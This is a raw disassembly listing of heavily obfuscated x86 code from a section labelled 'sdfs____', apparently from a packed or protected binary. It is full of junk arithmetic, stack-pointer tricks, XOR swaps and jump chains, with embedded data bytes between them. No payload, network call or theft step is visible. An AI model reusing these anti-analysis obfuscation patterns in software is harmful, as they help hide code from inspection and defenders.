loc_5AA288:				; CODE XREF: sdfs____:0059AED5j
					; sdfs____:0059D7CAj
		mov	ebx, [esp]
		add	esp, 4
		inc	ebp
		jmp	loc_5A4D2D
; ---------------------------------------------------------------------------


loc_5AA294:				; CODE XREF: sdfs____:0059DDD2j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_5AACEA
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4, 5C243487h, 88241C89h, 5BFD88E7h, 0FF5A3DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA2D1:				; CODE XREF: sdfs____:005A4AE7j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59FF35
; ---------------------------------------------------------------------------


loc_5AA2DF:				; CODE XREF: sdfs____:005A1EA5j
		pop	ecx
		mov	eax, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5ABA56
; ---------------------------------------------------------------------------


loc_5AA30F:				; CODE XREF: sdfs____:005AAFDBj
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_5AF820
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 57000000h,	0FF9585E9h
		db 0FFh
byte_5AA329	db 0FFh, 34h, 24h	; DATA XREF: sdfs____:00598E7Co
		dd 83240C8Bh, 116804C4h, 89000012h, 0E589242Ch,	0FF3B0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA341:				; CODE XREF: sdfs____:005A70FAj
		and	dh, cl
		jmp	loc_59AEC8
; ---------------------------------------------------------------------------
		dd 4BF57h, 7C010000h, 8B5F0424h, 0C4812414h, 4,	4C281h
		dd 4E680000h, 8900001Ah, 0F6BB241Ch, 0E92E3966h, 0FFFF441Eh
; ---------------------------------------------------------------------------


loc_5AA374:				; CODE XREF: sdfs____:005A8DEBj
					; sdfs____:005A9A4Dj
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5A89F9
; ---------------------------------------------------------------------------


loc_5AA37F:				; CODE XREF: sdfs____:005AC7C1j
		mov	ecx, eax
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_599FFA
; ---------------------------------------------------------------------------


loc_5AA392:				; CODE XREF: sdfs____:005A6C25j
		add	dword ptr [esp+4], 145F1007h
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		push	1E45h
		mov	[esp], ebx
		jmp	loc_5A374D
; ---------------------------------------------------------------------------


loc_5AA3AE:				; CODE XREF: sdfs____:0059E081j
		pop	eax
		jmp	loc_5B0406
; ---------------------------------------------------------------------------
aZaB		db 'Zۂ',0
		db 0CFh, 80h, 0EFh
		dd 0DFF65981h, 2834EF80h, 241C8BF8h, 0FFE2ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA3CD:				; CODE XREF: sdfs____:005ACA15j
		xchg	al, bl
		push	small 6DD1h
		mov	[esp], ax
		mov	ah, 6Bh
		add	bl, ah
		mov	ax, [esp]
		jmp	loc_59EDAB
; ---------------------------------------------------------------------------


loc_5AA3E4:				; CODE XREF: sdfs____:005ADFDBj
		pop	ebp
		sub	edi, ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 21h, 0EDh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AA3EE:				; CODE XREF: sdfs____:0059B07Cj
		mov	[esp], edi
		mov	edi, 4
		push	edi
		jmp	loc_5A06B7
; ---------------------------------------------------------------------------
		dd 752DED81h, 0EF89FEDFh, 83242C8Bh, 0CF2904C4h, 0FFFF09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA411:				; CODE XREF: sdfs____:005A1709j
		add	ebx, ebp
		jmp	loc_5A9B37
; ---------------------------------------------------------------------------


loc_5AA418:				; CODE XREF: sdfs____:0059E80Cj
		sub	eax, 6CA033D5h
		mov	edx, [esp]
		push	697Eh
		mov	[esp], ebx
		mov	ebx, esp
		push	3848h
		jmp	loc_59AA5A
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 4, 0C4685553h, 5D18923Eh, 0D27FC581h, 8951FE68h
		dd 348151E9h, 2F238924h, 0F3815B66h, 662F2389h,	242C8B59h
		dd 2904C483h, 0D1B9E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA46A:				; CODE XREF: sdfs____:0059E309j
		jo	loc_59EBC3
		jmp	loc_5A63DC
; ---------------------------------------------------------------------------


loc_5AA475:				; CODE XREF: sdfs____:005AC19Fj
		sub	dl, 0A6h
		jmp	loc_5A0A7F
; ---------------------------------------------------------------------------
		db 35h,	70h, 1
		dd 0C631332Ch, 8BF30158h, 0C4812434h, 4, 8704C383h, 0FF5C241Ch
		dd 0C8B2434h, 0E3895324h, 1E1DB850h, 0D0E9797Ch, 5CFFFF8Eh
		dd 0FF9DDEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA4B1:				; CODE XREF: sdfs____:0059A9E4j
		pop	edx
		xor	ebx, ecx
		jmp	loc_59CEEA
; ---------------------------------------------------------------------------


loc_5AA4B9:				; CODE XREF: sdfs____:005A73A8j
		add	eax, 4
		push	esi
		push	ebx
		push	38CB71D3h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5AD91C
; ---------------------------------------------------------------------------


loc_5AA4D0:				; CODE XREF: sdfs____:0059A1EFj
		xor	edx, [esp]
		jmp	loc_5A426A
; ---------------------------------------------------------------------------


loc_5AA4D8:				; CODE XREF: sdfs____:005A74BCj
		add	ecx, 2737489h
		xor	ecx, 293B78Bh
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_5A5070
; ---------------------------------------------------------------------------


loc_5AA4F7:				; CODE XREF: sdfs____:005A8B06j
		neg	esi
		jge	loc_59E7E8
		jmp	loc_5A28C7
; ---------------------------------------------------------------------------
dword_5AA504	dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFEEBFBh
					; DATA XREF: sdfs____:00598F14o
; ---------------------------------------------------------------------------


loc_5AA514:				; CODE XREF: sdfs____:005A94BFj
		pop	eax
		add	dword ptr [esp], 1CFC059Fh
		jmp	loc_59E8DC
; ---------------------------------------------------------------------------
		db 0BDh, 16h, 1Fh
		dd 6C0130CEh, 41E90C24h, 8100001Ah, 2ECh, 0F448E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA53A:				; CODE XREF: sdfs____:005A2A30j
		jmp	loc_5ABC03
; ---------------------------------------------------------------------------
		db 89h
		dd 3BE952E3h
		db 0FDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AA547:				; CODE XREF: sdfs____:005A2A4Dj
		add	eax, 602A279Ch
		sub	eax, 3BE805D3h
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	edi
		push	edx
		push	48F758A8h
		mov	edx, [esp]
		add	esp, 4
		shr	edx, 5
		jz	loc_5AE7F1
		xor	edx, 1E013A63h
		jnp	loc_5AB56F
		dec	edx
		push	4293h
		mov	[esp], eax
		push	5BFh
		jmp	loc_5AEB32
; ---------------------------------------------------------------------------


loc_5AA5A3:				; CODE XREF: sdfs____:005B0160j
		shr	esi, 2
		js	loc_59AB84
		add	esi, 1
		jmp	loc_59CF73
; ---------------------------------------------------------------------------


loc_5AA5B7:				; CODE XREF: sdfs____:0059E58Cj
		or	ebp, 767733B8h
		sub	ebp, 0C6E6ECBh
		sub	ebp, 0D16EACD6h
		xor	ebp, 594270FBh
		xor	ebp, 435850A6h
		sub	ecx, 442D3DA4h
		jmp	loc_59E6A4
; ---------------------------------------------------------------------------
dword_5AA5E0	dd 48B5450h, 4C48124h, 56000000h, 4BEh,	1972E900h, 0B3530000h
					; DATA XREF: sdfs____:00598F44o
		dd 0D22C7Eh, 2758E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5AA602:				; CODE XREF: sdfs____:005A5F42j
		pop	ebx
		jmp	loc_59F4B7
; ---------------------------------------------------------------------------


loc_5AA608:				; CODE XREF: sdfs____:005A3449j
		mov	bl, 52h
		xor	bl, dh
		mov	edx, [esp]
		jmp	loc_5A3273
; ---------------------------------------------------------------------------


loc_5AA614:				; CODE XREF: sdfs____:0059AAACj
		pop	ecx
		push	ecx
		push	edx
		mov	dh, 4Ch
		jmp	loc_59ED98
; ---------------------------------------------------------------------------


loc_5AA61E:				; CODE XREF: sdfs____:005AE586j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5A763E
; ---------------------------------------------------------------------------


loc_5AA630:				; CODE XREF: sdfs____:005A86C1j
					; sdfs____:005A8C72j ...
		push	esi
		jmp	loc_5A503A
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 8B54241Ch, 0C481241Ch, 4, 13CB68h, 24048900h, 50FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5AA651:				; CODE XREF: sdfs____:005A16A7j
		add	edi, 4
		jmp	loc_5A8CEF
; ---------------------------------------------------------------------------
		dd 4C481h, 0C7680000h, 89000035h, 5B54241Ch, 5DCDBE56h
		dd 0EEC1522Ch, 8BB95104h, 93C1954h, 11E959CEh
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA683:				; CODE XREF: sdfs____:005A2D98j
					; sdfs____:005AFC52j
		sub	cl, 37h
		jmp	loc_5AC500
; ---------------------------------------------------------------------------


loc_5AA68B:				; CODE XREF: sdfs____:005A71B5j
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	1D2Ah
		jmp	loc_59D1F5
; ---------------------------------------------------------------------------
		dd 0E089505Ah, 0FFC7D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA6B9:				; CODE XREF: sdfs____:0059B864j
		sub	ebx, 32F30599h
		sub	ebx, edi
		jmp	loc_5A9124
; ---------------------------------------------------------------------------


loc_5AA6C6:				; CODE XREF: sdfs____:005A7023j
		jp	loc_5A7C28
		jmp	loc_59DD01
; ---------------------------------------------------------------------------


loc_5AA6D1:				; CODE XREF: sdfs____:005AF55Ej
		add	ebx, 6FA664BFh
		jmp	loc_59D5D6
; ---------------------------------------------------------------------------


loc_5AA6DC:				; CODE XREF: sdfs____:0059EAD4j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5AC8C2
; ---------------------------------------------------------------------------


loc_5AA6EA:				; CODE XREF: sdfs____:005AEBDDj
		add	edx, 28120D18h
		ja	loc_5A4857
		shl	edx, 3
		jnz	loc_59E228
		jmp	loc_59A1F4
; ---------------------------------------------------------------------------
		db 58h
; ---------------------------------------------------------------------------


loc_5AA705:				; CODE XREF: sdfs____:005A4DF1j
		pop	edx
		jmp	loc_599509
; ---------------------------------------------------------------------------


loc_5AA70B:				; CODE XREF: sdfs____:005A0ACEj
		add	edi, 69F859DDh
		add	edi, 5B677CB1h
		sub	edi, esi
		sub	edi, 5B677CB1h
		jmp	loc_59BD4E
; ---------------------------------------------------------------------------
		dd 200BBh, 0E41E900h, 0F7880000h, 0B9FAE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA736:				; CODE XREF: sdfs____:005ABEF1j
		sub	edx, ebx
		jmp	loc_59C836
; ---------------------------------------------------------------------------


loc_5AA73D:				; CODE XREF: sdfs____:005A4FB7j
		add	ebx, 3BE121CAh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 79093A98h
		sub	ebp, 368F5432h
		sub	ebp, 2EB28A01h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 16375269h
		jmp	loc_5A0C5A
; ---------------------------------------------------------------------------


loc_5AA768:				; CODE XREF: sdfs____:0059FCA1j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A1BE2
; ---------------------------------------------------------------------------


loc_5AA775:				; CODE XREF: sdfs____:0059D630j
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_5A6C90
; ---------------------------------------------------------------------------
		dw 6468h
		dd 89000026h, 11BD242Ch, 8138BD78h, 92494E5h, 72ED8119h
		dd 57505934h, 0B72646BFh, 0D9F7810Dh, 565F8B1Fh, 0FFBA96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA7A9:				; CODE XREF: sdfs____:005AFC73j
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, 392B67FEh
		add	ebx, ecx
		push	ecx
		mov	ecx, 23AF3022h
		not	ecx
		and	ecx, 5B5E5C39h
		jmp	loc_5A07C9
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 4EB81h, 72E90000h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA7DF:				; CODE XREF: sdfs____:loc_5A5141j
		jmp	loc_5A317A
; ---------------------------------------------------------------------------
		dd 0C085C380h, 0B05004E3h, 2CC0FEB6h, 0B027E9ADh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA7F6:				; CODE XREF: sdfs____:005A37BFj
		xor	eax, 1CCE7661h
		and	eax, 41BA7E90h
		sub	eax, 41B2388Ch
		sub	ecx, 408A2FECh
		jmp	loc_5AAA86
; ---------------------------------------------------------------------------


loc_5AA810:				; CODE XREF: sdfs____:005A50AFj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_59A1EC
; ---------------------------------------------------------------------------


loc_5AA82F:				; CODE XREF: sdfs____:0059C16Fj
					; sdfs____:005A5DCCj
		sub	ecx, 3110B1CAh
		sub	edi, ecx
		jmp	loc_5A700D
; ---------------------------------------------------------------------------
dword_5AA83C	dd 24048B66h, 81E18951h, 4C1h, 4E98300h, 8B240C87h, 0C892424h
					; DATA XREF: sdfs____:00598EA8o
		dd 0D1B2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA85A:				; CODE XREF: sdfs____:005A4E77j
		inc	edx
		jns	loc_5991DC
		neg	edx
		add	edx, 9472086h
		mov	ebp, edx
		jmp	loc_5A596F
; ---------------------------------------------------------------------------


loc_5AA870:				; CODE XREF: sdfs____:005AE701j
		add	ebx, 0E9E4B594h
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, 70C82B76h
		xor	edx, 45DA2A6Bh
		add	edx, 0FFFFFFFFh
		sub	edx, 5CD568C5h
		sub	edx, 10A0089Ah
		add	edx, 923CC8F3h
		jmp	loc_59C932
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 0E9241C31h, 0FFFF4706h
; ---------------------------------------------------------------------------


loc_5AA8B4:				; CODE XREF: sdfs____:005ACA78j
		push	40ECh
		jmp	loc_59E707
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 24C1807Bh, 6BE9D128h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA8CB:				; CODE XREF: sdfs____:0059EFF5j
		inc	ebx
		jmp	loc_5A2572
; ---------------------------------------------------------------------------


loc_5AA8D1:				; CODE XREF: sdfs____:0059C2A1j
		push	edi
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		pop	ebx
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59EF2B
; ---------------------------------------------------------------------------


loc_5AA8EB:				; CODE XREF: sdfs____:005AC5A2j
		mov	esi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5995C2
; ---------------------------------------------------------------------------


loc_5AA8FA:				; CODE XREF: sdfs____:0059966Dj
		pop	small word ptr [esp]
		not	bx
		xchg	bx, [esp]
		mov	bp, [esp]
		push	edx
		jmp	loc_59C8BB
; ---------------------------------------------------------------------------


loc_5AA90F:				; CODE XREF: sdfs____:005AE68Cj
		add	esi, 2
		jmp	loc_59D022
; ---------------------------------------------------------------------------


loc_5AA917:				; CODE XREF: sdfs____:0059FF79j
		pop	eax
		add	dword ptr [esp], 1CFC059Fh
		sub	esp, 4
		mov	[esp], ebp
		push	19AA474Dh
		jmp	loc_5AF9D1
; ---------------------------------------------------------------------------


loc_5AA932:				; CODE XREF: sdfs____:005AD591j
		mov	[esp], ebp
		mov	ebp, 215647ABh
		push	edi
		mov	edi, 5BEE0D3Eh
		and	edi, 66486F49h
		jmp	loc_5A2D68
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89502404h, 405E0h, 0C0830000h, 4EA2E904h
		db 2 dup(0FFh)
word_5AA95E	dw 34FFh		; DATA XREF: sdfs____:00598E48o
aXhR		db '$XhÝR',0
		dw 8900h
a4S		db '4$é=',0Dh,0
		db 0
; ---------------------------------------------------------------------------


loc_5AA96F:				; CODE XREF: sdfs____:005AE0AFj
		mov	[esp], ebx
		mov	ebx, 1Ch
		sub	ebx, 3E111662h
		add	ebx, edi
		jmp	loc_5A416F
; ---------------------------------------------------------------------------


loc_5AA984:				; CODE XREF: sdfs____:0059C6ABj
					; sdfs____:005ABCDCj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	[esp], ax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AA995:				; CODE XREF: sdfs____:0059E119j
					; sdfs____:loc_5AB0D5j
		xor	al, 7Bh
		mov	cl, al
		pop	eax
		jmp	loc_5AB2F1
; ---------------------------------------------------------------------------


loc_5AA99F:				; CODE XREF: sdfs____:005AA9BEj
					; sdfs____:loc_5ACAB3j
		push	6E3Eh
		mov	[esp], ebp
		jmp	loc_5A9E54
; ---------------------------------------------------------------------------
		dd 5BF3C680h, 68D9C680h, 730h, 0FF7244E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA9BD:				; CODE XREF: sdfs____:005A8C57j
		pop	edi
		jmp	loc_5AA99F
; ---------------------------------------------------------------------------


loc_5AA9C3:				; CODE XREF: sdfs____:0059DCECj
		add	dh, 93h
		jl	loc_59C21F
		jmp	loc_5A33A2
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 88h
		dd 0E58157D9h, 14E220C5h, 8101ED83h, 312050CDh,	8CED8122h
		dd 815EB05Dh, 558D6BC5h, 5DE90194h, 0FF9CAFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AA9F9:				; CODE XREF: sdfs____:0059F7F6j
		mov	ah, 0F5h
		push	ecx
		mov	cl, 39h
		sub	cl, 32h
		sub	ah, cl
		pop	ecx
		push	ecx
		mov	ch, 0A3h
		shl	ch, 3
		sub	ch, 0B3h
		sub	ah, 9Dh
		sub	ah, ch
		add	ah, 9Dh
		pop	ecx
		jmp	loc_5A0377
; ---------------------------------------------------------------------------


loc_5AAA1B:				; CODE XREF: sdfs____:005A4CFBj
		mov	ebp, [esp]
		add	esp, 4
		shl	ecx, 4
		xor	ecx, 61E77E04h
		add	esi, ecx
		pop	ecx
		add	esi, 4
		jmp	loc_5A5274
; ---------------------------------------------------------------------------


loc_5AAA38:				; CODE XREF: sdfs____:005A43F3j
					; sdfs____:005AC590j
		mov	[esp], esi
		mov	esi, 0C8F2E8Fh
		jmp	loc_5A3530
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 4
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AAA4B:				; CODE XREF: sdfs____:loc_5AD941j
		add	ah, 6Eh
		jmp	loc_59B391
; ---------------------------------------------------------------------------


loc_5AAA53:				; CODE XREF: sdfs____:005AED7Cj
		add	ch, 3Eh
		sub	ch, bh
		sub	ch, 3Eh
		jmp	loc_5AD9DD
; ---------------------------------------------------------------------------


loc_5AAA60:				; CODE XREF: sdfs____:005AE778j
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ecx
		push	esp
		jmp	loc_5A74F4
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 7Eh
		dd 0E9188761h, 0FFFF6736h
; ---------------------------------------------------------------------------


loc_5AAA78:				; CODE XREF: sdfs____:005A7EADj
					; sdfs____:005AC6D6j
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AAA86:				; CODE XREF: sdfs____:005AA80Bj
		add	ecx, eax
		jmp	loc_59DB6A
; ---------------------------------------------------------------------------


loc_5AAA8D:				; CODE XREF: sdfs____:0059A5EAj
					; sdfs____:loc_5A94A2j
		mov	[esp], edx
		mov	edx, 2
		jmp	loc_59CDB4
; ---------------------------------------------------------------------------


loc_5AAA9A:				; CODE XREF: sdfs____:0059C09Dj
		add	ebx, 0D239D3D1h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5DC274FFh
		and	eax, 69155538h
		add	eax, 2E47F2E0h
		jmp	loc_5AB99E
; ---------------------------------------------------------------------------


loc_5AAABA:				; CODE XREF: sdfs____:005AC001j
		mov	[esp], esi
		jmp	loc_5ABBB0
; ---------------------------------------------------------------------------
		dw 42B9h
		dd 81437B54h, 0AB6427F1h, 59CD013Ah, 1D58E9h, 0E3895300h
		dd 4C381h, 0C3810000h, 4, 0E9241C87h, 0FFFF21ABh, 0FF0DCBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AAAF1:				; CODE XREF: sdfs____:005A644Dj
		jnb	loc_5A8719
		jmp	loc_59E9BB
; ---------------------------------------------------------------------------


loc_5AAAFC:				; CODE XREF: sdfs____:005A78D2j
		jno	loc_5A8453
		sub	esi, 5E7E5D24h
		jbe	loc_59E3FA
		push	ebp


loc_5AAB0F:				; CODE XREF: sdfs____:005AF2C9j
		mov	edi, 73150788h
		sub	esp, 4
		mov	[esp], edx
		push	esi
		mov	esi, 62372690h
		mov	edx, esi
		pop	esi
		jmp	loc_5A2B3B
; ---------------------------------------------------------------------------


loc_5AAB28:				; CODE XREF: sdfs____:005A2363j
		add	esp, 4
		jmp	loc_5A5598
; ---------------------------------------------------------------------------


loc_5AAB33:				; CODE XREF: sdfs____:005A49E5j
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_5AE120
; ---------------------------------------------------------------------------
		dw 0FC68h
		dd 89000033h, 0C9B82404h, 296C652Bh, 8B042444h,	89572404h
		dd 4C781E7h, 81000000h,	4C7h, 0E71DE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AAB66:				; CODE XREF: sdfs____:005A3ED5j
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5A1DCA
; ---------------------------------------------------------------------------


loc_5AAB6E:				; CODE XREF: sdfs____:005A8E39j
		sub	al, dl
		jmp	loc_5A3F4F
; ---------------------------------------------------------------------------
		db 66h,	29h, 0C2h
		dd 2E2D6658h, 0D0296679h, 0FFC002E9h, 0E95357FFh, 0FCh
; ---------------------------------------------------------------------------


loc_5AAB8C:				; CODE XREF: sdfs____:005AC97Dj
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_59DD5C
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 4
		dd 0FF6510E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AABA1:				; CODE XREF: sdfs____:0059CF32j
		mov	[esp], ebx
		jmp	loc_5AE3AE
; ---------------------------------------------------------------------------


loc_5AABA9:				; CODE XREF: sdfs____:005A00DDj
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AABAE:				; CODE XREF: sdfs____:005ADD2Ej
		xor	edx, edi
		pop	edi
		sub	edx, 30924666h
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5A83A2
; ---------------------------------------------------------------------------


loc_5AABCE:				; CODE XREF: sdfs____:005A15D1j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_59F3F1
; ---------------------------------------------------------------------------


loc_5AABE2:				; CODE XREF: sdfs____:005AE809j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5A027E
; ---------------------------------------------------------------------------


loc_5AABFC:				; CODE XREF: sdfs____:005A157Aj
		pop	edi
		or	ebx, 49576195h
		push	esi
		mov	esi, 4DAD6B6Bh
		and	ebx, esi
		pop	esi
		xor	ebx, 4525538Fh
		jmp	loc_5A477C
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0DF8E0FC4h, 0FE000011h, 14840FCCh, 0F6000041h
		db 0D4h, 5Bh
; ---------------------------------------------------------------------------


loc_5AAC2A:				; CODE XREF: sdfs____:005A740Aj
		push	dword ptr [esp]
		pop	edi
		push	1AA6h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	4078h
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A9F00
; ---------------------------------------------------------------------------


loc_5AAC57:				; CODE XREF: sdfs____:0059C159j
		or	edx, 16AD240Dh
		jo	loc_59F6B5
		dec	edx
		xor	edx, 0A0F276FFh
		sub	ecx, edx
		pop	edx
		add	ecx, 3FA804D2h
		jmp	loc_59A1BF
; ---------------------------------------------------------------------------


loc_5AAC78:				; CODE XREF: sdfs____:005AF5AEj
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_5A12F5
; ---------------------------------------------------------------------------
		dd 815F21BBh, 0F4C38124h, 0E9750752h, 0FFFF993Dh
; ---------------------------------------------------------------------------


loc_5AAC98:				; CODE XREF: sdfs____:005A64A2j
		sub	edx, 27BE513Ch
		shl	edx, 6
		add	edx, 0CA3AEFC4h
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_5AADA4
; ---------------------------------------------------------------------------


loc_5AACBE:				; CODE XREF: sdfs____:005B02BBj
		xchg	ecx, [esp]
		jmp	loc_5AF587
; ---------------------------------------------------------------------------
		dw 0E368h
		dd 89000077h, 6AB82404h, 48690F7Ch, 0F0839B05h,	58C30196h
		dd 81E68956h, 4C6h, 8DA4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AACEA:				; CODE XREF: sdfs____:005AA2B5j
		pop	eax
		push	edi
		push	4B62h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_59DF85
; ---------------------------------------------------------------------------


loc_5AAD00:				; CODE XREF: sdfs____:0059C00Aj
		sub	esi, edx
		pop	edx
		xor	esi, 78060D7Dh
		xor	esi, 8EC1083Ch
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5AE97E
; ---------------------------------------------------------------------------


loc_5AAD1D:				; CODE XREF: sdfs____:0059A3D0j
		shr	ebx, 3
		xor	ebx, 4DECA03h
		sub	edi, 679D16B5h
		push	esi
		mov	esi, 56011609h
		or	esi, 388B7C34h
		jmp	loc_5A5D15
; ---------------------------------------------------------------------------


loc_5AAD3D:				; CODE XREF: sdfs____:0059D0EFj
		pop	eax
		add	ebp, 6BA5696h
		jmp	loc_5AB84C
; ---------------------------------------------------------------------------


loc_5AAD49:				; CODE XREF: sdfs____:005A2B93j
		xor	ecx, 747320B8h
		push	edi
		mov	edi, 1A9D4712h
		sub	ebp, edi
		pop	edi
		sub	ebp, ecx
		add	ebp, 1A9D4712h
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59B830
; ---------------------------------------------------------------------------


loc_5AAD77:				; CODE XREF: sdfs____:005AFFC8j
		add	eax, 0AB9050Dh
		sub	eax, 68D32169h
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	55E8h
		mov	[esp], ecx
		jmp	loc_59995F
; ---------------------------------------------------------------------------


loc_5AAD97:				; CODE XREF: sdfs____:loc_5A3B7Fj
		push	ebp
		jmp	loc_5A45C5
; ---------------------------------------------------------------------------


loc_5AAD9D:				; CODE XREF: sdfs____:005A4B0Bj
		not	esi
		jmp	loc_59B09E
; ---------------------------------------------------------------------------


loc_5AADA4:				; CODE XREF: sdfs____:005AACB9j
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_5A181A
; ---------------------------------------------------------------------------


loc_5AADB5:				; CODE XREF: sdfs____:0059B40Cj
		mov	cl, 0F1h
		xor	cl, 75h
		add	al, cl
		pop	ecx
		push	ebx
		mov	bl, 64h
		push	ebx
		jmp	loc_5A029B
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 6337341h, 51575358h,	0EB619CB9h, 81D1F768h, 2568D2F1h
		dd 0E365E97Ch, 0CE29FFFFh, 0FF1D8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AADE9:				; CODE XREF: sdfs____:005A57BFj
		pop	esp
		mov	[esp], edx
		mov	edx, 6806B041h
		xor	eax, edx
		pop	edx
		sub	ecx, 39DA0680h
		sub	ecx, 93F2EE7h
		add	ecx, eax
		push	ebx
		jmp	loc_5AD3DE
; ---------------------------------------------------------------------------


loc_5AAE09:				; CODE XREF: sdfs____:005AFCAAj
		not	edi
		sub	edi, 0F5C8A90Ah
		add	ebx, edi
